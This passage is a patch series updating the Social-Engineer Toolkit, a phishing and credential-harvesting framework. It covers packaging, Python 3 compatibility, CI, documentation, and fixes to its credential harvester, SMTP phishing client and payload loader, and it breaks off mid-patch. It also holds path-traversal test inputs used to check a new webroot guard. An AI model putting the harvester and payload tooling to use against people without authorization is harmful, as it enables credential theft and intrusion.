From 07efca183013cda618908d5514d31bfc4527568a Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 14:47:30 -0400 Subject: [PATCH 01/23] Modernize packaging metadata --- pyproject.toml | 50 ++++++++++++++++++++ requirements.txt | 2 +- setup.py | 102 ++++++++++++++++++++++++++++++++-------- tests/test_packaging.py | 76 ++++++++++++++++++++++++++++++ 4 files changed, 210 insertions(+), 20 deletions(-) create mode 100644 pyproject.toml create mode 100644 tests/test_packaging.py diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000000..51f1fac180 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,50 @@ +[build-system] +requires = ["setuptools>=69", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "social-engineer-toolkit" +version = "8.0.3" +description = "An open-source penetration testing framework for authorized social-engineering assessments." +readme = "README.md" +requires-python = ">=3.11,<3.14" +license = { file = "readme/LICENSE" } +authors = [ + { name = "David Kennedy" }, +] +keywords = ["security", "penetration-testing", "social-engineering", "red-team"] +classifiers = [ + "Development Status :: 5 - Production/Stable", + "Environment :: Console", + "Intended Audience :: Information Technology", + "License :: OSI Approved :: BSD License", + "Operating System :: POSIX :: Linux", + "Operating System :: MacOS", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Topic :: Security", +] +dependencies = [ + "pexpect", + "pycryptodome", + "requests", + "pyOpenSSL", + "pefile", + "impacket", + "qrcode", + "pillow", + "pymssql<3.0", +] + +[project.urls] +Homepage = "https://github.com/trustedsec/social-engineer-toolkit" +Issues = "https://github.com/trustedsec/social-engineer-toolkit/issues" + +[tool.setuptools] +include-package-data = true +script-files = ["setoolkit", "seautomate", "seproxy", "seupdate"] + +[tool.setuptools.packages.find] +include = ["src*"] diff --git a/requirements.txt b/requirements.txt index 448412ff64..1870718907 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,5 @@ pexpect -pycrypto +pycryptodome requests pyopenssl pefile diff --git a/setup.py b/setup.py index ce67b1433e..1699b94aa9 100755 --- a/setup.py +++ b/setup.py @@ -1,20 +1,84 @@ -#!/usr/bin/python -# -# quick installer for SET -# -# -from __future__ import print_function +#!/usr/bin/env python3 +"""Packaging shim and legacy installer for SET.""" + +from pathlib import Path +import shutil import subprocess -import os -print("[*] Installing requirements.txt...") -subprocess.Popen("pip3 install -r requirements.txt", shell=True).wait() -print("[*] Installing setoolkit to /usr/local/share/setoolkit") -print(os.getcwd()) -subprocess.Popen("mkdir /usr/local/share/setoolkit/;mkdir /etc/setoolkit/;cp -rf * /usr/local/share/setoolkit/;cp src/core/config.baseline /etc/setoolkit/set.config", shell=True).wait() -print("[*] Creating launcher for setoolkit...") -filewrite = open("/usr/local/bin/setoolkit", "w") -filewrite.write("#!/bin/sh\ncd /usr/local/share/setoolkit\n./setoolkit") -filewrite.close() -print("[*] Done. Chmoding +x.... ") -subprocess.Popen("chmod +x /usr/local/bin/setoolkit", shell=True).wait() -print("[*] Finished. Run 'setoolkit' to start the Social Engineer Toolkit.") +import sys + + +def legacy_install(): + project_root = Path(__file__).resolve().parent + install_root = Path("/usr/local/share/setoolkit") + config_dir = Path("/etc/setoolkit") + launcher = Path("/usr/local/bin/setoolkit") + + print("[*] Installing requirements.txt...") + subprocess.check_call([ + sys.executable, + "-m", + "pip", + "install", + "-r", + str(project_root / "requirements.txt"), + ]) + + print("[*] Installing setoolkit to /usr/local/share/setoolkit") + install_root.mkdir(parents=True, exist_ok=True) + config_dir.mkdir(parents=True, exist_ok=True) + _copy_project_files(project_root, install_root) + shutil.copy2(project_root / "src/core/config.baseline", config_dir / "set.config") + + print("[*] Creating launcher for setoolkit...") + launcher.write_text( + "#!/bin/sh\ncd /usr/local/share/setoolkit\n./setoolkit \"$@\"\n", + encoding="utf-8", + ) + launcher.chmod(0o755) + + print("[*] Finished. Run 'setoolkit' to start the Social Engineer Toolkit.") + + +def _copy_project_files(project_root, install_root): + ignored = { + ".git", + ".github", + ".pytest_cache", + ".ruff_cache", + ".tox", + ".venv", + "__pycache__", + "build", + "dist", + "venv", + } + + for source in project_root.iterdir(): + if source.name in ignored or source.name.endswith(".egg-info"): + continue + + destination = install_root / source.name + if source.is_dir(): + if destination.exists(): + shutil.rmtree(destination) + shutil.copytree( + source, + destination, + ignore=shutil.ignore_patterns("__pycache__", "*.pyc"), + ) + else: + shutil.copy2(source, destination) + + +def main(): + if len(sys.argv) == 1: + legacy_install() + return + + from setuptools import setup + + setup() + + +if __name__ == "__main__": + main() diff --git a/tests/test_packaging.py b/tests/test_packaging.py new file mode 100644 index 0000000000..a48acc6236 --- /dev/null +++ b/tests/test_packaging.py @@ -0,0 +1,76 @@ +import ast +from pathlib import Path +import tomllib + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_pyproject_declares_modern_supported_python_and_launchers(): + metadata = tomllib.loads((ROOT / "pyproject.toml").read_text()) + + project = metadata["project"] + assert project["requires-python"] == ">=3.11,<3.14" + assert "Programming Language :: Python :: 3.11" in project["classifiers"] + assert "Programming Language :: Python :: 3.12" in project["classifiers"] + assert "Programming Language :: Python :: 3.13" in project["classifiers"] + + script_files = metadata["tool"]["setuptools"]["script-files"] + assert script_files == ["setoolkit", "seautomate", "seproxy", "seupdate"] + + +def test_runtime_dependencies_replace_pycrypto_with_pycryptodome(): + requirements = (ROOT / "requirements.txt").read_text().splitlines() + normalized = { + line.strip().lower() + for line in requirements + if line.strip() and not line.strip().startswith("#") + } + pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) + dependencies = {dependency.lower() for dependency in pyproject["project"]["dependencies"]} + + assert "pycrypto" not in normalized + assert "pycrypto" not in dependencies + assert "pycryptodome" in normalized + assert "pycryptodome" in dependencies + + +def test_setup_py_has_no_import_time_installer_side_effects(): + tree = ast.parse((ROOT / "setup.py").read_text()) + unsafe_calls = [] + + for node in tree.body: + if isinstance(node, (ast.Import, ast.ImportFrom, ast.FunctionDef, ast.ClassDef)): + continue + if isinstance(node, ast.If) and _is_main_guard(node.test): + continue + for child in ast.walk(node): + if isinstance(child, ast.Call): + unsafe_calls.append(ast.unparse(child.func)) + + assert unsafe_calls == [] + + +def test_setup_py_imports_setuptools_only_for_packaging_commands(): + tree = ast.parse((ROOT / "setup.py").read_text()) + + top_level_setuptools_imports = [ + node + for node in tree.body + if isinstance(node, ast.ImportFrom) and node.module == "setuptools" + ] + + assert top_level_setuptools_imports == [] + + +def _is_main_guard(node): + return ( + isinstance(node, ast.Compare) + and isinstance(node.left, ast.Name) + and node.left.id == "__name__" + and len(node.ops) == 1 + and isinstance(node.ops[0], ast.Eq) + and len(node.comparators) == 1 + and isinstance(node.comparators[0], ast.Constant) + and node.comparators[0].value == "__main__" + ) From 074afe4ebfbf7cdd98e326e3f74e07c596962d2f Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 14:54:11 -0400 Subject: [PATCH 02/23] Fix Python 3 runtime compatibility aliases --- docs/lessons.md | 7 +++ src/core/setcore.py | 10 +++-- src/webattack/harvester/harvester.py | 11 ++--- tests/test_runtime_compat.py | 67 ++++++++++++++++++++++++++++ 4 files changed, 85 insertions(+), 10 deletions(-) create mode 100644 docs/lessons.md create mode 100644 tests/test_runtime_compat.py diff --git a/docs/lessons.md b/docs/lessons.md new file mode 100644 index 0000000000..af64c08f8a --- /dev/null +++ b/docs/lessons.md @@ -0,0 +1,7 @@ +# Lessons + +## 2026-06-04 - Apply patches in the intended worktree + +- What went wrong: I added `tests/test_packaging.py` in the original checkout after creating the feature worktree. +- Fix: Removed the misplaced file and re-applied the patch with an absolute path inside the worktree. +- Prevention: After creating or switching worktrees, run `pwd` and `git status --short --branch` before every file edit, and use absolute paths for patches when multiple checkouts are open. diff --git a/src/core/setcore.py b/src/core/setcore.py index 64f4e5df81..d95fe8fbbc 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -5,6 +5,7 @@ # import re import sys +import builtins import socket import subprocess import shutil @@ -40,17 +41,20 @@ try: raw_input -except: +except NameError: raw_input = input -# check to see if we have python-pycrypto +if not hasattr(builtins, "raw_input"): + builtins.raw_input = raw_input + +# check to see if we have pycryptodome try: from Crypto.Cipher import AES except ImportError: print( - "[!] The python-pycrypto python module not installed. You will lose the ability for encrypted communications.") + "[!] The pycryptodome Python module is not installed. You will lose the ability for encrypted communications.") pass # get the main SET path diff --git a/src/webattack/harvester/harvester.py b/src/webattack/harvester/harvester.py index 81b5e2b7ba..838155bcd9 100644 --- a/src/webattack/harvester/harvester.py +++ b/src/webattack/harvester/harvester.py @@ -1,14 +1,10 @@ #!/usr/bin/env python3 import subprocess import sys -import html import os import re -try: - from cgi import escape -except ImportError: - from html import escape +from html import escape # need for python2 -> 3 try: @@ -22,10 +18,11 @@ # needed for python2 -> 3 try: from SocketServer import * - import SocketServer + import SocketServer as ss except ImportError: from socketserver import * + import socketserver as ss import threading import datetime @@ -553,7 +550,7 @@ def run(): class SecureHTTPServer(HTTPServer): def __init__(self, server_address, HandlerClass): - SocketServer.BaseServer.__init__(self, server_address, HandlerClass) + ss.BaseServer.__init__(self, server_address, HandlerClass) # SSLv2 and SSLv3 supported ctx = SSL.Context(SSL.SSLv23_METHOD) # pem files defined before diff --git a/tests/test_runtime_compat.py b/tests/test_runtime_compat.py new file mode 100644 index 0000000000..1300fdeafd --- /dev/null +++ b/tests/test_runtime_compat.py @@ -0,0 +1,67 @@ +import ast +import builtins +from pathlib import Path + +import src.core.setcore as setcore + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_setcore_installs_raw_input_alias_for_python3_modules(): + assert setcore.raw_input is input + assert builtins.raw_input is input + + +def test_harvester_uses_socketserver_alias_for_ssl_server(): + tree = ast.parse((ROOT / "src/webattack/harvester/harvester.py").read_text()) + + imported_socketserver_aliases = { + alias.asname + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name == "socketserver" + } + assert "socketserver" not in _attribute_roots(tree, "BaseServer") + assert "ss" in imported_socketserver_aliases + assert "ss" in _attribute_roots(tree, "BaseServer") + + +def test_harvester_uses_html_escape_directly(): + tree = ast.parse((ROOT / "src/webattack/harvester/harvester.py").read_text()) + + cgi_escape_imports = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) + and node.module == "cgi" + and any(alias.name == "escape" for alias in node.names) + ] + html_escape_imports = [ + node + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) + and node.module == "html" + and any(alias.name == "escape" for alias in node.names) + ] + + assert cgi_escape_imports == [] + assert html_escape_imports + + +def test_setcore_user_messages_reference_pycryptodome(): + source = (ROOT / "src/core/setcore.py").read_text() + + assert "python-pycrypto" not in source + assert "pycryptodome" in source + + +def _attribute_roots(tree, attribute_name): + return { + node.value.id + for node in ast.walk(tree) + if isinstance(node, ast.Attribute) + and node.attr == attribute_name + and isinstance(node.value, ast.Name) + } From 5f8d245bfc8852304951cae2c1bcdf034fbdcf67 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 14:57:17 -0400 Subject: [PATCH 03/23] Fix harvester smtp and metasploit path bugs --- src/core/setcore.py | 53 +++++++++++++++++++++++-- src/phishing/smtp/client/smtp_client.py | 4 +- src/phishing/smtp/client/smtp_web.py | 5 +-- src/webattack/harvester/harvester.py | 38 +++++++++--------- tests/test_functionality_fixes.py | 52 ++++++++++++++++++++++++ 5 files changed, 124 insertions(+), 28 deletions(-) create mode 100644 tests/test_functionality_fixes.py diff --git a/src/core/setcore.py b/src/core/setcore.py index d95fe8fbbc..974ffe268f 100644 --- a/src/core/setcore.py +++ b/src/core/setcore.py @@ -24,8 +24,11 @@ # python 2 and 3 compatibility try: from urllib.request import urlopen + from urllib.parse import unquote, urlsplit except ImportError: from urllib import urlopen + from urllib import unquote + from urlparse import urlsplit import multiprocessing if sys.version_info >= (3, 0): @@ -80,6 +83,29 @@ def check_os(): operating_system = "posix" return operating_system + +def safe_join_webroot(webroot, request_path): + root_path = os.path.abspath(webroot) + request_path = unquote(urlsplit(request_path).path).lstrip("/") + requested_file = os.path.abspath(os.path.join(root_path, request_path)) + + try: + if os.path.commonpath([root_path, requested_file]) != root_path: + return None + except ValueError: + return None + + return requested_file + + +def smtp_auth_b64(value): + if isinstance(value, bytes): + raw_value = value + else: + raw_value = str(value).encode("utf-8") + + return base64.b64encode(raw_value).decode("ascii") + # # Class for colors # @@ -348,10 +374,8 @@ def meta_path(): try: # pull from config first - msf_path = check_config("METASPLOIT_PATH=") - if not msf_path.endswith("/"): - msf_path = msf_path + "/" - if os.path.isfile(msf_path + "msfconsole"): + msf_path = _normalize_msf_path(check_config("METASPLOIT_PATH=")) + if msf_path: trigger = 1 # if we are using just the standard path for msfconsole @@ -366,6 +390,11 @@ def meta_path(): msf_path = "/opt/metasploit-framework/" trigger = 1 + if os.path.isfile("/opt/metasploit-framework/bin/msfconsole"): + if trigger == 0: + msf_path = "/opt/metasploit-framework/bin/" + trigger = 1 + # specific for kali linux if os.path.isfile("/opt/metasploit/apps/pro/msf3/msfconsole"): # left blank since you can call launcher and ruby1.9 - 2x issues @@ -423,6 +452,22 @@ def meta_path(): msf_path = False return msf_path + +def _normalize_msf_path(msf_path): + if not msf_path: + return None + + msf_path = os.path.expanduser(msf_path.strip()) + if os.path.isfile(msf_path) and os.path.basename(msf_path) == "msfconsole": + return os.path.dirname(msf_path) + "/" + + if not msf_path.endswith("/"): + msf_path = msf_path + "/" + if os.path.isfile(msf_path + "msfconsole"): + return msf_path + + return None + # # grab the metaspoit path # diff --git a/src/phishing/smtp/client/smtp_client.py b/src/phishing/smtp/client/smtp_client.py index e60be127d5..f5bc30f3cf 100644 --- a/src/phishing/smtp/client/smtp_client.py +++ b/src/phishing/smtp/client/smtp_client.py @@ -419,8 +419,8 @@ def mail(to, subject, text, attach, prioflag1, prioflag2): input("Press {return} to view error message.") print(str(e)) try: - mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser)) - mailServer.docmd(base64.b64encode(pwd), "") + mailServer.docmd("AUTH LOGIN", smtp_auth_b64(provideruser)) + mailServer.docmd(smtp_auth_b64(pwd), "") except Exception as e: print(str(e)) try: diff --git a/src/phishing/smtp/client/smtp_web.py b/src/phishing/smtp/client/smtp_web.py index 158767f577..5476e784e7 100644 --- a/src/phishing/smtp/client/smtp_web.py +++ b/src/phishing/smtp/client/smtp_web.py @@ -458,10 +458,9 @@ def mail(to, subject, prioflag1, prioflag2, text): mailServer.sendmail(from_address, to, io.getvalue()) except: # try logging in with base64 encoding here - import base64 try: - mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser.encode())) - mailServer.docmd(base64.b64encode(pwd.encode()), "") + mailServer.docmd("AUTH LOGIN", smtp_auth_b64(provideruser)) + mailServer.docmd(smtp_auth_b64(pwd), "") # except exceptions and print incorrect password except Exception as e: diff --git a/src/webattack/harvester/harvester.py b/src/webattack/harvester/harvester.py index 838155bcd9..9ac82bf951 100644 --- a/src/webattack/harvester/harvester.py +++ b/src/webattack/harvester/harvester.py @@ -55,8 +55,11 @@ sys.path.append(definepath) -if not os.path.isfile("%s/src/logs/harvester.log" % (os.getcwd())): - filewrite = open("%s/src/logs/harvester.log" % (os.getcwd()), "w") +log_dir = os.path.join(os.getcwd(), "src/logs") +os.makedirs(log_dir, exist_ok=True) +harvester_log = os.path.join(log_dir, "harvester.log") +if not os.path.isfile(harvester_log): + filewrite = open(harvester_log, "w") filewrite.write("") filewrite.close() @@ -243,7 +246,7 @@ def handle_error(self, request, client_address): pass webroot = os.path.abspath(os.path.join(userconfigpath, 'web_clone')) - requested_file = os.path.abspath(os.path.join(webroot, os.path.relpath(self.path, '/'))) + requested_file = safe_join_webroot(webroot, self.path) # try block setup to catch transmission errors try: @@ -251,10 +254,8 @@ def handle_error(self, request, client_address): self.send_response(200) self.send_header('Content_type', 'text/html') self.end_headers() - fileopen = open(userconfigpath + "web_clone/index.html", "r") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(userconfigpath + "web_clone/index.html", "rb") as fileopen: + self.wfile.write(fileopen.read()) # write out that we had a visit visits.write("hit\n") # visits.close() @@ -264,22 +265,18 @@ def handle_error(self, request, client_address): self.send_response(200) self.send_header('Content_type', 'text/html') self.end_headers() - fileopen = open(userconfigpath + "web_clone/index2.html", "r") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(userconfigpath + "web_clone/index2.html", "rb") as fileopen: + self.wfile.write(fileopen.read()) # write out that we had a visit visits.write("hit\n") # visits.close() else: - if os.path.isfile(requested_file): + if requested_file and os.path.isfile(requested_file): self.send_response(200) self.end_headers() - fileopen = open(requested_file, "rb") - for line in fileopen: - line = line.encode('utf-8') - self.wfile.write(line) + with open(requested_file, "rb") as fileopen: + self.wfile.write(fileopen.read()) else: self.send_response(404) @@ -306,11 +303,14 @@ def do_POST(self): # put the params into site.template for later user filewrite = open(userconfigpath + "site.template", "a") filewrite.write("\n") - if not os.path.isfile("%s/src/logs/harvester.log" % (os.getcwd())): - filewrite3 = open("%s/src/logs/harvester.log" % os.getcwd(), "w") + log_dir = os.path.join(os.getcwd(), "src/logs") + os.makedirs(log_dir, exist_ok=True) + harvester_log = os.path.join(log_dir, "harvester.log") + if not os.path.isfile(harvester_log): + filewrite3 = open(harvester_log, "w") filewrite3.write("") filewrite3.close() - filewrite2 = open("%s/src/logs/harvester.log" % os.getcwd(), "a") + filewrite2 = open(harvester_log, "a") filewrite.write("\n\n") print(bcolors.RED + "[*] WE GOT A HIT! Printing the output:\r" + bcolors.GREEN) for line in url: diff --git a/tests/test_functionality_fixes.py b/tests/test_functionality_fixes.py new file mode 100644 index 0000000000..a941e3fd1b --- /dev/null +++ b/tests/test_functionality_fixes.py @@ -0,0 +1,52 @@ +from pathlib import Path + +import src.core.setcore as setcore + + +def test_safe_join_webroot_allows_files_under_root(tmp_path): + webroot = tmp_path / "web_clone" + webroot.mkdir() + + resolved = setcore.safe_join_webroot(str(webroot), "/assets/site.css") + + assert resolved == str(webroot / "assets/site.css") + + +def test_safe_join_webroot_blocks_traversal(tmp_path): + webroot = tmp_path / "web_clone" + webroot.mkdir() + + assert setcore.safe_join_webroot(str(webroot), "/../secret.txt") is None + assert setcore.safe_join_webroot(str(webroot), "/%2e%2e/secret.txt") is None + + +def test_meta_path_accepts_configured_msfconsole_executable(monkeypatch): + def fake_check_config(key): + if key == "METASPLOIT_PATH=": + return "/opt/metasploit-framework/bin/msfconsole" + if key == "METASPLOIT_MODE=": + return "ON" + return "" + + monkeypatch.setattr(setcore, "check_config", fake_check_config) + monkeypatch.setattr( + setcore.os.path, + "isfile", + lambda path: path == "/opt/metasploit-framework/bin/msfconsole", + ) + + assert setcore.meta_path() == "/opt/metasploit-framework/bin/" + + +def test_smtp_auth_b64_returns_ascii_text(): + encoded = setcore.smtp_auth_b64("user@example.com") + + assert encoded == "dXNlckBleGFtcGxlLmNvbQ==" + assert isinstance(encoded, str) + + +def test_harvester_writes_binary_static_files_without_encoding(): + source = Path("src/webattack/harvester/harvester.py").read_text() + + assert 'open(requested_file, "rb")' in source + assert "line = line.encode('utf-8')" not in source From 4632b41f9f061c2a2d6084db0ea42117767f7da1 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 14:58:39 -0400 Subject: [PATCH 04/23] Update release metadata and CI --- .github/workflows/Python_tests.yml | 38 +++++++++++++----------------- pyproject.toml | 2 +- src/core/set.version | 2 +- tests/test_release_metadata.py | 22 +++++++++++++++++ 4 files changed, 41 insertions(+), 23 deletions(-) create mode 100644 tests/test_release_metadata.py diff --git a/.github/workflows/Python_tests.yml b/.github/workflows/Python_tests.yml index cf2429dc58..cb8c1926d0 100644 --- a/.github/workflows/Python_tests.yml +++ b/.github/workflows/Python_tests.yml @@ -1,35 +1,31 @@ name: Python_tests + on: [push, pull_request] + jobs: Python_tests: - runs-on: ${{ matrix.os }} + runs-on: ubuntu-latest strategy: fail-fast: false matrix: - os: [ubuntu-latest] # [macos-latest, windows-latest] - python-version: [3.5, 3.6, 3.7] # , 3.8] + python-version: ["3.11", "3.12", "3.13"] + steps: - - uses: actions/checkout@v1 + - uses: actions/checkout@v4 + - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v1 + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + - name: Install dependencies run: | python -m pip install --upgrade pip - pip install flake8 pytest -r requirements.txt - #- name: Check formatting with black - # if: matrix.os == 'ubuntu-latest' && matrix.python-version == '3.8' - # run: | - # pip install black - # black --check . - - name: Lint with flake8 - run: | - # stop the build if there are Python syntax errors or undefined names - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics - #- name: Test with pytest - # run: pytest - #- name: Run doctests with pytest - # run: pytest --doctest-modules + python -m pip install -e . + python -m pip install pytest + + - name: Compile Python sources + run: python -m compileall -q . + + - name: Test with pytest + run: pytest -q diff --git a/pyproject.toml b/pyproject.toml index 51f1fac180..8888b96d79 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "social-engineer-toolkit" -version = "8.0.3" +version = "8.1.0" description = "An open-source penetration testing framework for authorized social-engineering assessments." readme = "README.md" requires-python = ">=3.11,<3.14" diff --git a/src/core/set.version b/src/core/set.version index 215aacb452..8104cabd36 100644 --- a/src/core/set.version +++ b/src/core/set.version @@ -1 +1 @@ -8.0.3 +8.1.0 diff --git a/tests/test_release_metadata.py b/tests/test_release_metadata.py new file mode 100644 index 0000000000..8429335a81 --- /dev/null +++ b/tests/test_release_metadata.py @@ -0,0 +1,22 @@ +from pathlib import Path +import tomllib + + +ROOT = Path(__file__).resolve().parents[1] + + +def test_release_version_is_consistent(): + pyproject = tomllib.loads((ROOT / "pyproject.toml").read_text()) + set_version = (ROOT / "src/core/set.version").read_text().strip() + + assert pyproject["project"]["version"] == "8.1.0" + assert set_version == "8.1.0" + + +def test_ci_targets_supported_python_versions(): + workflow = (ROOT / ".github/workflows/Python_tests.yml").read_text() + + assert "python-version: [\"3.11\", \"3.12\", \"3.13\"]" in workflow + assert "actions/checkout@v4" in workflow + assert "actions/setup-python@v5" in workflow + assert "pytest -q" in workflow From 647354f8e19e3519a13a1219834e081682a67529 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 14:59:54 -0400 Subject: [PATCH 05/23] Refresh release documentation --- README.md | 97 +++++++++++++++++++++++++++--------------------- SECURITY.md | 30 +++++++++++++++ readme/CHANGELOG | 22 +++++++++-- 3 files changed, 103 insertions(+), 46 deletions(-) create mode 100644 SECURITY.md diff --git a/README.md b/README.md index 9f3b4e717a..5e0ad8a72c 100644 --- a/README.md +++ b/README.md @@ -1,67 +1,78 @@ # The Social-Engineer Toolkit (SET) -* Copyright :copyright: 2020 -* Written by: David Kennedy (ReL1K) @HackingDave -* Company: [TrustedSec](https://www.trustedsec.com) -
+The Social-Engineer Toolkit is an open-source penetration testing framework for authorized social-engineering assessments. SET provides guided attack vectors for security teams that need to test user awareness, validate controls, and run consent-based red-team exercises. -## Description -The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC – an information security consulting firm located in Cleveland, Ohio. +SET is a TrustedSec project written by David Kennedy (ReL1K) / @HackingDave. -DISCLAIMER: This is *only* for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period. -Please read the LICENSE under readme/LICENSE for the licensing of SET. +## Responsible Use -#### Supported platforms: -* Linux -* Mac OS X (experimental) +SET is only for authorized testing where explicit permission and scope have been established. Do not use SET against systems, accounts, networks, or people without consent. Review the license in [readme/LICENSE](readme/LICENSE) before using or distributing SET. -# Installation +## Supported Platforms -## Install via requirements.txt +- Linux +- macOS, experimental +- Windows through WSL/WSL2 Kali or another supported Linux environment + +SET 8.1.0 targets Python 3.11 through Python 3.13. + +## Installation + +### Kali Linux / WSL ```bash -pip3 install -r requirements.txt -python3 setup.py +sudo apt update +sudo apt install set -y ``` -## Install SET -======= -#### Mac OS X -You will need to use a virtual environment for the Python install if you are using an M2 Macbook with the following instructions in your CLI within the social-engineer-toolkit directory. +### From Source + ```bash - # to install dependencies, run the following: - python3 -m venv path/to/venv - source path/to/venv/bin/activate - python3 -m pip install -r requirements.txt +git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ +cd setoolkit +python3 -m venv .venv +source .venv/bin/activate +python -m pip install --upgrade pip +python -m pip install -e . +``` - # to install SET - sudo python3 setup.py +For the legacy system-wide layout, run the installer with elevated privileges: + +```bash +sudo python3 setup.py ``` -
+The legacy installer copies SET to `/usr/local/share/setoolkit`, writes `/etc/setoolkit/set.config`, and creates `/usr/local/bin/setoolkit`. + +## Usage + +Launch the interactive console: -## Installation -#### Windows 10 WSL/WSL2 Kali Linux ```bash -sudo apt install set -y +sudo setoolkit ``` -Kali Linux on Windows 10 is a minimal installation so it doesn't have any tools installed. -You can easily install Social Engineer Toolkit on WSL/WSL2 without needing pip using the above command. -#### Linux +From a source checkout, you can also run: + ```bash -git clone https://github.com/trustedsec/social-engineer-toolkit/ setoolkit/ -cd setoolkit -pip3 install -r requirements.txt -python setup.py +sudo ./setoolkit ``` -
-## SET Tutorial -For a full document on how to use SET, [visit the SET user manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf). +The full user manual is available at [readme/User_Manual.pdf](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf). + +## Development + +```bash +python -m pip install -e . +python -m pip install pytest +python -m compileall -q . +pytest -q +``` + +## Security Reports + +Please report vulnerabilities through the process in [SECURITY.md](SECURITY.md). Do not open public issues for exploitable vulnerabilities. -
+## Bugs and Enhancements -## Bugs and enhancements -For bug reports or enhancements, please open an [issue](https://github.com/trustedsec/social-engineer-toolkit/issues) here. -
+For non-sensitive bug reports or enhancement requests, open an issue at https://github.com/trustedsec/social-engineer-toolkit/issues with SET version, platform, Python version, and reproduction steps. diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 0000000000..05a758b662 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,30 @@ +# Security Policy + +## Supported Versions + +Security fixes are provided for the current released version of SET. Older releases may receive fixes at maintainer discretion when the impact and patch risk justify it. + +| Version | Supported | +| ------- | --------- | +| 8.1.x | Yes | +| < 8.1 | No | + +## Reporting A Vulnerability + +Do not open a public GitHub issue for exploitable vulnerabilities. + +Report security concerns through TrustedSec's normal vulnerability disclosure channels or contact the maintainers privately with: + +- Affected version and commit +- Platform and Python version +- Clear reproduction steps +- Expected impact +- Any proof-of-concept material needed to validate the issue + +The project will acknowledge valid reports as maintainers are available, triage impact, and coordinate a fix or disclosure path when appropriate. + +## Scope + +Reports should focus on vulnerabilities in SET itself, including unintended code execution, path traversal, unsafe file handling, credential disclosure beyond intended local operator output, dependency risks, or bypasses of safety checks. + +Requests to recover or obtain passwords, access third-party accounts, or attack systems without authorization are not valid security reports and will be closed. diff --git a/readme/CHANGELOG b/readme/CHANGELOG index e542a0270c..b8ce19313f 100644 --- a/readme/CHANGELOG +++ b/readme/CHANGELOG @@ -1,6 +1,22 @@ -~~~~~~~~~~~~~~~~ -version 8.0.3 -~~~~~~~~~~~~~~~~ +~~~~~~~~~~~~~~~~ +version 8.1.0 +~~~~~~~~~~~~~~~~ + +* add modern Python packaging metadata and editable install support +* replace pycrypto with pycryptodome for current Python compatibility +* update supported runtime target to Python 3.11 through 3.13 +* fix Python 3 raw_input compatibility for modules that import setcore indirectly +* fix SSL credential harvester socketserver compatibility +* serve harvester static files safely and block path traversal outside the web clone directory +* fix harvester binary static-file responses and ensure harvester log directories exist +* fix SMTP fallback authentication base64 handling on Python 3 +* improve Metasploit path detection for configured msfconsole executable paths +* update GitHub Actions CI to current actions and supported Python versions +* refresh README installation and development guidance + +~~~~~~~~~~~~~~~~ +version 8.0.3 +~~~~~~~~~~~~~~~~ * fix a python3 incompatibility issue with sockets and credential harvester From 4c6dbd6654a74f1273949b085244af1e9b16bd53 Mon Sep 17 00:00:00 2001 From: HackingDave Date: Thu, 4 Jun 2026 16:11:39 -0400 Subject: [PATCH 06/23] Handle missing legacy payload artifacts --- src/core/payloadgen/create_payloads.py | 14 +++++++------- src/core/setcore.py | 20 ++++++++++++++++++++ tests/test_functionality_fixes.py | 17 +++++++++++++++++ 3 files changed, 44 insertions(+), 7 deletions(-) diff --git a/src/core/payloadgen/create_payloads.py b/src/core/payloadgen/create_payloads.py index 20f8582b4f..02a80d81a9 100644 --- a/src/core/payloadgen/create_payloads.py +++ b/src/core/payloadgen/create_payloads.py @@ -501,15 +501,15 @@ print_status("Prepping Multi-pyInjector for delivery..") # here we obfuscate the binary a little bit random_string = generate_random_string(3, 3).upper() - if choice1 == "shellcode/alphanum": - fileopen = open("%s/src/payloads/exe/shellcodeexec.binary" % (definepath), "rb").read() - if choice1 == "shellcode/pyinject": - fileopen = open("%s/src/payloads/set_payloads/pyinjector.binary" % (definepath), "rb").read() - if choice1 == "shellcode/multipyinject": - fileopen = open("%s/src/payloads/set_payloads/multi_pyinjector.binary" % (definepath), "rb").read() + try: + fileopen = open(legacy_payload_binary_path(definepath, choice1), "rb").read() + except FileNotFoundError as error: + print_error(str(error)) + print_error("Select a supported payload or provide a custom executable instead.") + exit_set() # write out the payload - if choice1 == "shellcode/alphanum" or choice1 == "shellcode/pyinject" or choice1 == "shellcode/multipyiject": + if choice1 == 